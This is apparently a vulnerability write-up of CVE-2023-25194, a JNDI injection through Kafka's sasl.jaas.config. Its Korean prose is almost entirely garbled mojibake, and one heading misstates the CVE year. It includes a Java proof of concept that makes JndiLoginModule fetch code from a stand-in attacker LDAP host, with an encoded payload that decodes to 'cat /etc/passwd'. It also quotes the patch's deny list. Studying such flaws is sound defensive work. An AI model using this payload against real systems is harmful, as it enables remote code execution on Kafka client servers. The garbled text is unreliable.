Kafka 1-day analysis
TL;DR
kafka ์ธํ๋ผ์ ๋ํ ๊ณต๊ฒฉ
โ ํน์ ์ฌ์ฉ์์ ๋ํ ๊ณต๊ฒฉ์ด ์๋
What is Kafka?
ํ์ค ์์ฝ
์๋น์ค๋ค ์ฌ์ด์์ ๋ฉ์์ง๋ฅผ ์ฃผ๊ฐ์ ๋ณด๊ดํ๊ณ ์ ๋ฌํด์ฃผ๋ ์์คํ
์ ํ์ํ๊ฐ?
ํ๋ ์๋น์ค๋ ํ๋์ ๊ฑฐ๋ํ ํ๋ก๊ทธ๋จ์ด ์๋๋ผ ์ฌ๋ฌ ๊ฐ์ ์์ ์๋น์ค๋ก ๋๋๋ค.
์๋ฅผ ๋ค์ด์ ์ฟ ํก์์ ์ฃผ๋ฌธ์ ํ๋ฉด
1
2
3
4
5
6
์ฃผ๋ฌธ ์๋น์ค
๊ฒฐ์ ์๋น์ค
๋ฐฐ์ก ์๋น์ค
์๋ฆผ ์๋น์ค
ํฌ์ธํธ ์๋น์ค
...
์ด๋ฐ์์ผ๋ก ์๋น์ค๋ค์ด ์๋ก ์ํตํด์ผ ํ๋ค. ํ์ง๋ง ์ง์ ์ฐ๊ฒฐํ๋ฉด ๋ช๊ฐ์ง ๋ฌธ์ ๊ฐ ์๊ธด๋ค.
1
2
3
4
์ง์ ์ฐ๊ฒฐ์ ๋ฌธ์ :
์ฃผ๋ฌธ ์๋น์ค -> ๊ฒฐ์ ์๋น์ค (๊ฒฐ์ ์๋น์ค ๋ค์ด๋๋ฉด ์ฃผ๋ฌธ๋ ์คํจ)
์ฃผ๋ฌธ ์๋น์ค -> ๋ฐฐ์ก ์๋น์ค (๋ฐฐ์ก ์๋น์ค๊ฐ ๋๋ฆฌ๋ฉด ์ฃผ๋ฌธ๋ ๋๋ ค์ง)
์ฃผ๋ฌธ ์๋น์ค -> ์๋ฆผ ์๋น์ค (์๋ฆผ ์๋น์ค ์ค๋ฅ๋๋ฉด ์ฃผ๋ฌธ๋ ์ค๋ฅ๋จ)
ํ์ง๋ง ์ฌ๊ฐ์ Kafka๊ฐ ์ค๊ฐ์ ์๋ค๋ฉด
1
2
3
4
5
6
์ฃผ๋ฌธ ์๋น์ค -> Kafka -> ๊ฒฐ์ ์๋น์ค
-> ๋ฐฐ์ก ์๋น์ค
-> ์๋ฆผ ์๋น์ค
๊ฒฐ์ ์๋น์ค ๋ค์ด๋ผ๋ -> ๋ฉ์์ง๋ Kafka์ ์์ ํ๊ฒ ๋ณด๊ด
๋์ค์ ๋ณต๊ตฌ๋๋ฉด -> ๋ฐ๋ฆฐ ๋ฉ์์ง ์ฒ๋ฆฌ
ํต์ฌ ์ฉ์ด ์ ๋ฆฌ
Producer(์์ฐ์)
1
2
๋ฉ์์ง๋ฅผ ๋ณด๋ด๋ ์ชฝ
ex) ์ฃผ๋ฌธ ์๋น์ค๊ฐ "์ฃผ๋ฌธ ๋ฐ์" ๋ฉ์์ง๋ฅผ Kafka์ ์ ์กํจ
Consumer(์๋น์)
1
2
๋ฉ์์ง๋ฅผ ๋ฐ๋ ์ชฝ
ex) ๊ฒฐ์ /๋ฐฐ์ก/์๋ฆผ ์๋น์ค๊ฐ Kafka์์ ๋ฉ์์ง๋ฅผ ๊บผ๋ด์ ์ฒ๋ฆฌํจ
Topic(ํ ํฝ)
1
2
3
4
5
๋ฉ์์ง๋ฅผ ๋ถ๋ฅํ๋ ์ฑ๋
ex)
"์ฃผ๋ฌธ" ํ ํฝ -> ์ฃผ๋ฌธ ๊ด๋ จ ๋ฉ์์ง
"๊ฒฐ์ " ํ ํฝ -> ๊ฒฐ์ ๊ด๋ จ ๋ฉ์์ง
"๋ฐฐ์ก" ํ ํฝ -> ๋ฐฐ์ก ๊ด๋ จ ๋ฉ์์ง
Broker(๋ธ๋ก์ปค)
1
2
๋ฉ์์ง๋ฅผ ์ค์ ๋ก ์ ์ฅํ๊ณ ๊ด๋ฆฌํ๋ ์๋ฒ
๋ชจ๋ ๋ฉ์์ง๊ฐ Broker๋ฅผ ๊ฑฐ์ณ์ ์ด๋ํจ
Kafka Broker ๊ตฌ์กฐ
Broker๋ kafka์ ์ฌ์ฅ์ด๋ผ๊ณ ํ ์ ์๋ค.
1
2
3
4
5
6
7
8
9
10
11
12
Producer
โ ๋ฉ์์ง ์ ์ก
Broker
โโโโโโโโโโโโโโโโโโโโโโโ
โ Topic: "์ฃผ๋ฌธ" โ
โ [msg1][msg2][msg3] โ โ ๋ฉ์์ง๊ฐ ์์๋๋ก ์์
โ โ
โ Topic: "๊ฒฐ์ " โ
โ [msg1][msg2] โ
โโโโโโโโโโโโโโโโโโโโโโโ
โ ๋ฉ์์ง ์ ๋ฌ
Consumer
Broker์ ์ญํ
1
2
3
4
1. ๋ฉ์์ง ์์ ๋ฐ ์ ์ฅ
2. Consumer์๊ฒ ๋ฉ์์ง ์ ๋ฌ
3. ๋ฉ์์ง ๋ณต์ (์ฅ์ ๋๋น)
4. ์ ๊ทผ ์ธ์ฆ ๋ฐ ์ธ๊ฐ ์ฒ๋ฆฌ <- ๋ฐํ์์ ๊ณต๊ฒฉํ๋ attack surface
Broker์ ํน์ง
1
2
3
4
๋ฉ์์ง๋ฅผ ์ฝ์ด๋ ์ญ์ ์ ํจ
-> ์ค์ ํ ๊ธฐ๊ฐ ๋์ ๋ณด๊ด
-> ๋์ค์ ๋ค์ ์ฝ๊ธฐ ๊ฐ๋ฅ
-> ์๋ก์ด Consumer๋ ๊ณผ๊ฑฐ ๋ฉ์์ง ์ฝ๊ธฐ ๊ฐ๋ฅ
Kafka ์ํ๊ณ ์ ์ฒด ๊ตฌ์กฐ
Kafka ์์ฒด๋ง ์๋ ๊ฒ ์๋๋ผ ์ฃผ๋ณ์ ๋ค์ํ ๋๊ตฌ๋ค์ด ์๋ค.
1
2
3
4
5
6
7
8
9
10
์ธ๋ถ ์์คํ
(DB, API...)
โ
Kafka Connect โ ์ธ๋ถ ์์คํ
๊ณผ Kafka๋ฅผ ์ฐ๊ฒฐ
โ
Kafka Broker โ ํต์ฌ, ๋ฉ์์ง ์ ์ฅ/์ ๋ฌ
โ
ksqlDB โ Kafka ๋ฐ์ดํฐ๋ฅผ SQL๋ก ์ฒ๋ฆฌ
โ
Consumer ์๋น์ค๋ค
Kafka Connect๋?
1
2
3
4
5
6
์ธ๋ถ ์์คํ
<--> Kafka ์ฐ๊ฒฐ ๋๊ตฌ
ex)
MySQL DB๊ฐ ๋ณ๊ฒฝ๋๋ฉด ์๋์ผ๋ก Kafka์ ์ ์กํจ
Kafka ๋ฉ์์ง๋ฅผ ์๋์ ์ผ๋ก Elasticsearch์ ์ ์ฅ
์ง์ ์ฝ๋ ์ ์ง๋ ์ค์ ๋ง์ผ๋ก ์ฐ๊ฒฐ ๊ฐ๋ฅ
ksqlDB๋?
1
2
3
4
5
6
7
8
9
Kafka ๋ฐ์ดํฐ๋ฅผ SQL๋ก ์ค์๊ฐ ์ฒ๋ฆฌ
์ผ๋ฐ SQL :
SELECT * FROM orders WHERE amount > 10000
-> ์ ์ฅ๋ ๋ฐ์ดํฐ์์ ์กฐํ
ksqlDB :
SELECT * FROM orders WHERE amount > 10000
-> ์ค์๊ฐ์ผ๋ก ํ๋ฌ๋ค์ด์ค๋ ๋ฐ์ดํฐ์์ ์กฐํ
๋ฐํ์ ํด๋น ์ง์๊ณผ์ ์ฐ๊ฒฐ
๋ฐํ์๋ฃ
์์ ๋ฐํ ์๋ฃ๋ฅผ ๋ณด๋ฉด ํ ๊ฐ์ง ๋ค๋ฅธ ๊ฒ์ด ์๋ค. ์์์๋ Kafka cluster, Partition์ ๋ํด์ ์ด์ผ๊ธฐ ํ์ง ์์์ง๋ง ํด๋น ๊ทธ๋ฆผ์๋ ํด๋ฌ์ฝํฐ์ ํํฐ์ ์ด ๋์ ์๋ค. โ What is it?
Cluster and partition
์ ์ฒด ํ๋ฆ
1
2
Producer๋ค โ Kafka Cluster โ Consumer๋ค
(๋ฉ์์ง ์์ฑ) (์ ์ฅ/๊ด๋ฆฌ) (๋ฉ์์ง ์ฒ๋ฆฌ)
ํํฐ์ ์ด ๋ญ๊น?
ํํฐ์ ์ด๋ Topic์ ์ฌ๋ฌ ์กฐ๊ฐ์ผ๋ก ๋๋ ๊ฒ์ด๋ค.
1
2
3
4
"์ฃผ๋ฌธ" Topic
โโโ Partition 0: [์ฃผ๋ฌธ1][์ฃผ๋ฌธ4][์ฃผ๋ฌธ7]
โโโ Partition 1: [์ฃผ๋ฌธ2][์ฃผ๋ฌธ5][์ฃผ๋ฌธ8]
โโโ Partition 2: [์ฃผ๋ฌธ3][์ฃผ๋ฌธ6][์ฃผ๋ฌธ9]
์์ ์ค๋ช ๋ง ๋ค์ผ๋ฉด ์ ์ดํด๊ฐ ๋์ง ์๋๋ฐ, ์์ธํ๊ฒ ์ค๋ช ํ์๋ฉด โ ์ ๋๋๋๊ฐ?
1
2
3
4
5
6
7
8
9
Partition์ด 1๊ฐ๋ฉด
-> ๋ชจ๋ ๋ฉ์์ง๋ฅผ ์์๋๋ก ํ๋์ฉ ์ฒ๋ฆฌํจ
-> consumer 1๊ฐ๋ง ๋ถ์ ์ ์์
-> ๋๋ฆผ
Partition์ด 3๊ฐ๋ฉด
-> Consumer 3๊ฐ๊ฐ ๊ฐ๊ฐ ๋ด๋น
-> 3๋ฐฐ ๋น ๋ฆ
-> ๋ณ๋ ฌ ์ฒ๋ฆฌ ๊ฐ๋ฅ
๋ ์ฝ๊ฒ ๊ฐ๋จํ ์์๋ฅผ ๋ค์ด์ ์ค๋ช ํ์๋ฉด :
๋งํธ์ ๊ณ์ฐ๋๊ฐ ํ๋๋ผ๋ฉด ? โ 100๋ช ์ด ํ๋์ ๊ณ์ฐ๋์์ ์ค์ ์ฌ โ ๋๋ฆผ
๋งํธ์ ๊ณ์ฐ๋๊ฐ 3๊ฐ๋ผ๋ฉด โ 100๋ช ์ด 3๊ฐ์ ๊ณ์ฐ๋์ ๋๋ ์ ์ค์ ์ฌ โ ๋น ๋ฆ
๊ทธ๋ผ Broker๋ ์ด๋์?
์ด ๊ทธ๋ฆผ์์ Kafka Cluster = Broker๋ค์ ๋ฌถ์์ด๋ค.
1
2
3
4
Kafka Cluster
โโโ Broker 1 (์๋ฒ 1) โ Partition๋ค ๋ด๋น
โโโ Broker 2 (์๋ฒ 2) โ Partition๋ค ๋ด๋น
โโโ Broker 3 (์๋ฒ 3) โ Partition๋ค ๋ด๋น
์ฆ broker๊ฐ ์ฌ๋ฌ ๋๊ฐ ๋ชจ์ฌ์ Cluster๋ฅผ ๊ตฌ์ฑํ๋ค.
CVE-2023-25194
์ผ๋จ ์ด ์ฌ์ง๋ถํฐ ์ดํด๋ฅผ ํด๋ณด์. ํด๋น ์ฌ์ง์ Kafka clients ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ๋ ๊ฒ๋ค์ด๋ค.
kafka-clients๋ ๋ฌด์์ผ๊น?
kafka์ ์ฐ๊ฒฐํ ๋ ์ฌ์ฉํ๋ java ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ด๋ค. ์ฆ, kafka์ ํต์ ํ๋ฉด ์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋ฐ๋์ ์จ์ผํ๋ค.
โ cve-2023-25194์ ์ทจ์ฝ์ ์ด ์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์์ ์๋ค.
๊ทธ๋์ ์ด ๊ทธ๋ฆผ์ด ๋งํ๋ ๊ฒ์
1
2
3
Kafka-Clients ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฌ์ฉ -> ์ทจ์ฝ์ ๋ ๊ฐ์ด ํฌํจ๋จ
kafka connect -> kafka clients ์ฌ์ฉ -> ์ทจ์ฝ์ ํฌํจ
Druid -> kafka-clients ์ฌ์ฉ -> ์ทจ์ฝ์ ํฌํจ
๊ทธ๋ผ Druid๋ ๋ฌด์์ผ๊น?
1
2
3
4
Apache Druid = ์ค์๊ฐ ๋ฐ์ดํฐ ๋ถ์ DB
์ค์๊ฐ ๋ถ์์ ํนํ๋ DB
kafka์์ ๋ฐ์ดํฐ๋ฅผ ๋ฐ์์ ๋ถ์ํ๋ค. -> ๊ทธ๋์ kafka-clients ์ฌ์ฉํจ
์ทจ์ฝ์ ํ์ค ์์ฝ
Kafka ์ฐ๊ฒฐ ์ค์ ์ ๊ณต๊ฒฉ์๊ฐ ์กฐ์ํ ์ ์์ผ๋ฉด, ์ธ์ฆ ๊ณผ์ ์์ ์ ์ฑ ์ฝ๋๊ฐ ์คํ๋๋ค.
SASL์ด๋?
์ผ๋จ ํด๋น ์ทจ์ฝ์ ์ ๋ถ์ํ๊ธฐ ์ ์ SASLl์ด๋ผ๋ ๊ฑฐ์ ๋ํด์ ์์์ผ ํ๋ค. Kafka์ ์ฐ๊ฒฐ ํ ๋ ์ธ์ฆ์ด ํ์ํ๋ค. ํ๊ฐ๋ ํด๋ผ์ด์ธํธ๋ง Kafka์ ์ ์์ด ๊ฐ๋ฅํ๋ค.
โ ์ด๋ฅผ ์ธ์ฆํ๋ ๋ฐฉ์ ์ค ํ๋๊ฐ SASL์ด๋ค.
JAAS๋?
ํ ๊ฐ์ง ๋ ์์์ผ ํ๋ ์ง์ ์ค ํ๋๊ฐ JAAS์ด๋ค. JAAS ๋ SASL ์ธ์ฆ์ JAVA ์์ ๊ตฌํํ๋ ํ๋ ์์ํฌ์ด๋ค.
1
2
3
4
5
6
์ค์ ํ์ผ์ ์ด๋ ๊ฒ ์:
sasl.jaas.config =
[LoginModule ์ด๋ฆ] required
username="admin"
password="1234";
์ฌ๊ธฐ์ LoginModule = ์ค์ ์ธ์ฆ์ ๋ด๋นํ๋ ์ฝ๋
์ด๋ฌํ ๋ชจ๋ ์ข ๋ฅ์๋ ์ฌ๋ฌ๊ฐ์ง๊ฐ ์๋ค.
1
2
3
PlainLoginModule -> ์ผ๋ฐ username/password ์ธ์ฆ
JndiLoginModule -> JNDI ์๋น์ค ํตํด ์ธ์ฆ <- ๋ฌธ์ ์ ๋ชจ๋
LdapLoginModule -> LDAP ์๋ฒ ํตํด ์ธ์ฆ
JNDI๋?
JNDI = Java Naming and Directory Interface โ ์ฝ๊ฒ ๋งํ๋ฉด ์๋ฐ์ ์ฃผ์๋ก์ด๋ผ๊ณ ํ ์ ์๋ค.
1
2
3
4
"user123 ๊ฐ์ฒด๊ฐ ์ด๋์์ง?"
-> jndi ์๋ฒ์ ์ง์
-> "ldap://server.com/user123์ ์๋ค"
-> ๊ฑฐ๊ธฐ์ ๊ฐ์ ธ์์ ์คํ
์ฌ๊ธฐ์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ค.
1
2
3
4
5
6
JNDI ์๋ฒ์์ ๊ฐ์ ธ์จ ๋ฐ์ดํฐ๋ฅผ ๊ทธ๋๋ก ์คํํด๋ฒ๋ฆฌ๋ ๋ก์ง์ด ์กด์ฌํ๋ค.
JNDI ์๋ฒ๊ฐ ์
์ฑ Java ์ฝ๋๋ฅผ ๋ฐํํ๋ฉด?
-> ๊ทธ๋ฅ ์คํ
-> ๊ณต๊ฒฉ์ ์ฝ๋๊ฐ ํผํด์ ์๋ฒ์์ ์คํ
-> RCE ๋ฌ์ฑ
Attack Flow
๊ณต๊ฒฉ์๊ฐ Kafka ์ฐ๊ฒฐ ์ค์ ์ ์กฐ์ํ ์ ์๋ ์ํฉ์ด๋ผ๋ฉด
- ๊ณต๊ฒฉ์๊ฐ ์ ์ฑ sasl.jaas.config ์ฃผ์
1
2
3
sasl.jaas.config =
com.sun.security.auth.module.JndiLoginModule required
user.provider.url="ldap://attacker.com/exploit";
- kafka client ์ด๊ธฐํ ์์
- ์ฝ๋ ์คํ ํ๋ฆ :
KafkaConsumer ์์ฑ
โ ์ฑ๋ ๋น๋ ์์ฑ
โ SASL ์ฑ๋ ์ค์
โ LoginContext.login() ํธ์ถ
โ JndiLoginModule.login() ํธ์ถ
โ InitialContext.lookup(โldap://attacker.com/exploitโ)
- ๊ณต๊ฒฉ์ ์๋ฒ์ ์ ์ฑ java ๊ฐ์ฒด ๋ฐํ
- ํผํด์ ์๋ฒ์์ ์ ์ฑ ์ฝ๋ ์คํ
โ RCE
๋ฐํ์๋ฃ์ attack flow
- set up
๊ณต๊ฒฉ์๊ฐ Evil JNDI Server๋ฅผ ๋ฏธ๋ฆฌ ์ค๋น(์ ์ฑ ์ฝ๋๋ฅผ ๋ฐํํ ์๋ฒ ์ธํ )
- connection string
๊ณต๊ฒฉ์๊ฐ Kafka Client์ ์ ์ฑ sasl.jaas.config ์ฃผ์ (ldap://evil-jndi-server/exploit)
- lookup
kafka client๊ฐ JndiLoginModule ์คํ โ Evil JNDI Server์ lookup ์์ฒญ
โ์ด ์ฃผ์์ ์๋ ๊ฐ์ฒด ์คโ โ ์ด๋ ๊ฒ ์ง์
- payload
evil jndi server๊ฐ ์ ์ฑ ์๋ฐ ์ฝ๋(payload)๋ฅผ ๋ฐํํจ
- taken over
kafka client๊ฐ ์ ์ฑ ์ฝ๋๋ฅผ ์คํ โ ๊ณต๊ฒฉ์๊ฐ kafka client ์๋ฒ ์ฅ์ โ RCE
Normal reqeust
kafka client์ ์ ๊ทผํ๊ธฐ ์ํด์๋
1
2
3
4
properties.put("sasl.jaas.config",
"org.apache.kafka.common.security.plain.PlainLoginModule required\n" +
"username=\"admin\"\n" +
"password=\"1234\";");
์ด๋ฐ์์ผ๋ก ๊ฐ๋ฐ์๊ฐ ์ ๊ทผํ ์ ์๋ค. ์ ์์ ์ธ ํ๋ฆ์ ์๋์ ๊ฐ๋ค.
1
2
3
๊ฐ๋ฐ์๊ฐ ์ค์
sasl.jaas.config = PlainLoginModule + admin/1234
-> KafaConsumer ์์ฑ -> PlainLoginModule ์คํ -> ์ ์ ์ธ์ฆ ์๋ฃ
Evil Request
Kafka client์ ์ ๊ทผํ ๋ ์๋์ ๊ฐ์ ์์ฒญ์ ๋ณด๋ธ๋ค.
1
2
3
properties.put("com.sun.security.auth.module.JndiLoginModule required\n" +
"user.provider.url=" +
"\"ldap://localhost/hhylKPnySW/Plain/Exec/eyJjbWQ...\"\n");
์ด๋ ๊ฒ ์ ์์ ์ธ sasl.jaas.config๋ฅผ ์ฃผ์ ํ๋ฉด
1
2
3
4
5
6
7
8
9
10
11
12
๊ณต๊ฒฉ ํ๋ฆ:
๊ณต๊ฒฉ์๊ฐ ์ค์ ์ฃผ์
sasl.jaas.config = JndiLoginModule + ldap://attacker.com
โ
KafkaConsumer ์์ฑ
โ
JndiLoginModule ์คํ
โ
๊ณต๊ฒฉ์ ์๋ฒ์ lookup
โ
์
์ฑ ์ฝ๋ ์คํ โ RCE
์์ ๊ฐ์ ์ฒด์ธ์ผ๋ก RCE๊ฐ ๊ฐ๋ฅํ๋ค
PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 1~2๋ฒ: Kafka ์ฐ๊ฒฐ ์ค์ ๊ฐ์ฒด ์์ฑ
Properties properties = new Properties();
// 3๋ฒ: ์ฐ๊ฒฐํ Kafka Broker ์ฃผ์
properties.put("bootstrap.servers", "127.0.0.1:1234");
// 4~6๋ฒ: ๋ฉ์์ง ์ญ์ง๋ ฌํ ๋ฐฉ์
properties.put("key.deserializer", deserializer);
properties.put("value.deserializer", deserializer);
// 7๋ฒ: ์ธ์ฆ ๋ฐฉ์ = PLAIN
properties.put("sasl.mechanism", "PLAIN");
// 8๋ฒ: ๋ณด์ ํ๋กํ ์ฝ = SSL ์ฌ์ฉ
properties.put("security.protocol", "SASL_SSL");
// 9~13๋ฒ: โ attacker-controlled -> evil jaas inject
// JndiLoginModule ์ฌ์ฉ + ์
์ฑ LDAP ์ฃผ์ ์ง์
String jaasConfig =
"com.sun.security.auth.module.JndiLoginModule required\n" +
"user.provider.url=" +
"\"ldap://localhost/hhylKPnySW/Plain/Exec/eyJjbWQ...\"\n"
// 14๋ฒ: ์
์ฑ ์ค์ ์ properties์ ๋ฃ์
properties.put("sasl.jaas.config", jaasConfig);
// 15๋ฒ: โ ์ฌ๊ธฐ์ ํฐ์ง!
// KafkaConsumer ์์ฑํ๋ ์๊ฐ JAAS ์ค์ ์ฝ๊ณ RCE ๋ฐ์
KafkaConsumer kafkaConsumer = new KafkaConsumer<>(properties);
โ kafka client์ ์ฃผ์ ํ ๊ณต๊ฒฉ ์ฝ๋
attacker-controlled ๋ถ๋ถ์ ์ ์ธํ๊ณ ๋ค๋ฅธ ๋ถ๋ถ์ ๊ทธ๋ฅ ๊ณ ์ ๊ฐ์ด๋ค. ๋จ์ํ kafka ์ฐ๊ฒฐ์ ํ์ํ ํ์ค ์ฝ๋์ด๊ธฐ ๋๋ฌธ์ ๋ณ๋ก ์ค์ํ์ง ์๋ค. ํต์ฌ์ ์๋์ ์ฝ๋์ด๋ค.
1
2
3
4
5
6
7
String jaasConfig =
"com.sun.security.auth.module.JndiLoginModule required\n" +
"user.provider.url=" +
"\"ldap://localhost/hhylKPnySW/Plain/Exec/eyJjbWQ...\"\n"
<base64 decode>
{"cmd":"cat /etc/passwd"}
์ด ์ฝ๋๊ฐ ์ ์ผ ์ค์ํ connection string์ด๋ค.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
15๋ฒ ์ค: KafkaConsumer ์์ฑ
โ
KafkaConsumer.<init> โ ์์ฑ์ ํธ์ถ
โ
ClientUtils.createChannelBuilder โ ์ฑ๋ ์์ฑ
โ
ChannelBuilders.clientChannelBuilder โ ์ฑ๋ ์ค์
โ
SaslChannelBuilder.configure โ SASL ์ธ์ฆ ์ค์
โ
...
โ
LoginContext.login โ ๋ก๊ทธ์ธ ์์
โ
JNDILoginModule.login โ ์ฌ๊ธฐ์ JNDI lookup ๋ฐ์!
์ฝ๋๋ ์์ ๊ฐ์ ํ๋ฆ์ผ๋ก ์คํ๋๋ค.
๊ฐ๋ฐ์๊ฐ ์๋ํ ๊ฒ์ kafka consumer๋ฅผ ๋ง๋๋ ๊ฒ์ด์ง๋ง ๋ด๋ถ์ ์ผ๋ก ์์ ์ฒด์ธ์ด ์คํ๋๋ฉด์ JndiLoginModule์ด ํธ์ถ๋๋ค. โ RCE ํธ๋ฆฌ๊ฑฐ
๊ทธ๋ ๋ค๋ฉด LoginContext.login ๋ด๋ถ์์๋ ์ด๋ป๊ฒ ๋์ํ ๊น?
JVM ์์์ LoginContext๊ฐ JndiLoginModule์ ์ด๋ป๊ฒ ํธ์ถํ๋์ง ๋ด์ผํ๋ค.
Flow
- connection string
๊ณต๊ฒฉ์๊ฐ ์ ์ฑ sasl.jaas.config ์ฃผ์
- set config & login
Kafka client๊ฐ ์ค์ ์ ์ฝ๊ณ LoginContext์ ๋ก๊ทธ์ธ ์์ฒญ
- instantiate Subject
LoginContext๊ฐ Subject(์ธ์ฆ ์ฃผ์ฒด) ๊ฐ์ฒด ์์ฑ
- construct
LoginContext๊ฐ JndiLoginModule ์์ฑ
- initialize with Subject, CallbackHandler, options
JndiLoginModule ์ด๊ธฐํ(์ ์ฑ LDAP ์ฃผ์๊ฐ options์ ํฌํจ๋จ)
- Login
JndiLoginModule.login() ํธ์ถ
์ฌ๊ธฐ์ ํต์ฌ ํฌ์ธํธ๋ LoginContext๋ ์์์ ๋งํ๋ ๊ฒ์ฒ๋ผ Java ํ์ค ์ธ์ฆ ํ๋ ์์ํฌ์ด๋ค. ์๋๋ ์ ์์ ์ธ ์ธ์ฆ์ ์ํ ๊ฒ์ด์ง๋ง, ์ ์ฑ LoginModule(JndiLoginModule)์ ์ฃผ์ ํ๋ฉด LoginContextx๊ฐ ๊ทธ๊ฑธ ๊ทธ๋๋ก ์คํํด๋ฒ๋ฆฐ๋ค.
JndiLoginModule.login ๋ด๋ถ ๋์
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void attemptAuthentication(boolean getPasswdFromSharedState)
throws LoginException {
String encryptedPassword = null;
// username๊ณผ password ๋จผ์ ๊ฐ์ ธ์ด
getUsernamePassword(getPasswdFromSharedState);
try {
// โ ํต์ฌ ๋ถ๋ถ!
// user.provider.url ๊ฐ์ผ๋ก JNDI lookup ์คํ
InitialContext iCtx = new InitialContext();
ctx = (DirContext)iCtx.lookup(userProvider);
// โ
// ์ฌ๊ธฐ์ ์
์ฑ LDAP ์ฃผ์๊ฐ ๋ค์ด๊ฐ
// "ldap://localhost/hhylKPnySW/Plain/Exec/eyJjbWQ..."
์์ ์ฝ๋๋ฅผ ๋ณด๋ฉด userProvider์ ์
์ฑ LDAP ์ฃผ์๊ฐ ์ฝ์
๋๋ค. ์ค์ ๋ก ํด๋น ์ค์ด ์คํ ๋๋ ์๊ฐ
โ ๊ณต๊ฒฉ์ LDAP ์๋ฒ์ ์ ์ โ ์ ์ฑ ์ฝ๋ ๋ค์ด๋ก๋ โ RCE ๋ฐ์
ํต์ฌ ํฌ์ธํธ๋ JndiLoginModule์ ์๋ LDAP ์๋ฒ์์ ์ฌ์ฉ์ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ค๋ ์ฉ๋์ด์ง๋ง ๊ทธ LDAP ์ฃผ์๋ฅผ ๊ณต๊ฒฉ์ ์๋ฒ๋ก ๋ฐ๊พธ๋ฉด ์ ์์ ์ธ ํ์๊ฐ ๊ฐ๋ฅํ๋ค.
InitialContext.lookup์ ์ํ์ฑ
lookup() ํจ์๊ฐ ์ RCE ์ฒด์ธ์ผ๋ก ์ด์ด์ง๋๊ฐ?
1
2
3
4
5
6
7
8
"A common sink"
= Risky method
Runtime.exec โ ๋ช
๋ น์ด ์ง์ ์คํ
ObjectInputStream.readObject โ ์ญ์ง๋ ฌํ
"Lookup with an untrusted address leads to RCE"
= ์ ๋ขฐํ ์ ์๋ ์ฃผ์๋ก lookupํ๋ฉด RCE ๋ฐ์
Evil server set up โ JNDI url injection
โ InitialContext.lookup
- your app code(ํผํด์ ์๋ฒ)๊ฐ Evil JNDI server์ lookup ์์ฒญ
โ payload
- Evil JNDI Server๊ฐ ์ ์ฑ java ๊ฐ์ฒด ๋ฐํ
โ taken over
- ํผํด์ ์๋ฒ๊ฐ ์ ์ฑ ๊ฐ์ฒด ์คํ โ RCE โ ์๋ฒ ์ฅ์
lookup() ์์ฒด๊ฐ ๋ฌธ์ ๊ฐ ์๋๋ผ ์ ๋ขฐํ ์ ์๋ ์ฃผ์๋ก lookup์ ํ๋ ๊ฒ์ด ๋ฌธ์ ์ด๋ค. ๊ณต๊ฒฉ์๊ฐ ์ฃผ์๋ฅผ ๋ฐ๊ฟ ์ ์์ผ๋ฉด ๊ณต๊ฒฉ์ ์๋ฒ์์ ๋ญ๋ ์คํ์ด ๊ฐ๋ฅํ๋ค.
Patch code of cve-2024-25194
kafka 3.4.0์์๋ ์๋์ ๊ฐ์ด ์ฝ๋๋ฅผ ํจ์นํ๋ค.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 1๋ฒ: ์ฐจ๋จํ LoginModule ๊ธฐ๋ณธ๊ฐ ์ค์
// JndiLoginModule์ ๊ธฐ๋ณธ์ผ๋ก ์ฐจ๋จ
public static final String DISALLOWED_LOGIN_MODULES_DEFAULT =
"com.sun.security.auth.module.JndiLoginModule";
// 3~13๋ฒ: LoginModule ์ฐจ๋จ ๋ก์ง
private static void throwIfLoginModuleIsNotAllowed(...) {
// 4~7๋ฒ: ์ฐจ๋จ ๋ชฉ๋ก ๊ฐ์ ธ์ค๊ธฐ
// ์์คํ
์ค์ ์์ ์ฐจ๋จ ๋ชฉ๋ก ์ฝ์ด์ด
// ๊ธฐ๋ณธ๊ฐ = JndiLoginModule
Set<String> disallowedList = Arrays.stream(
System.getProperty(DISALLOWED_LOGIN_MODULES_CONFIG,
DISALLOWED_LOGIN_MODULES_DEFAULT)
.split(","))
.map(String::trim)
.collect(Collectors.toSet());
// 8๋ฒ: ์ฌ์ฉํ๋ ค๋ LoginModule ์ด๋ฆ ๊ฐ์ ธ์ด
String loginModuleName =
appConfigurationEntry.getLoginModuleName().trim();
// 9~11๋ฒ: โ ํต์ฌ ํจ์น ๋ก์ง
// ์ฐจ๋จ ๋ชฉ๋ก์ ์์ผ๋ฉด Exception ๋ฐ์์์ผ์ ์คํ ๋ง์
if (disallowedList.contains(loginModuleName)) {
throw new IllegalArgumentException(
loginModuleName + " is not allowed.");
}
}
์์ ํจ์น ์ฝ๋์ ๋ฌธ์ ์ ์ ๋จ์ ์ด๋ฆ ๋น๊ต๋ก ๋ง๊ณ ์๋ค๋ ๊ฒ์ด๋ค.
โ JndiLoginModule๋ง ๋งํ
โ ๋ค๋ฅธ LoginModule์ ์ฐํ ๊ฐ๋ฅ




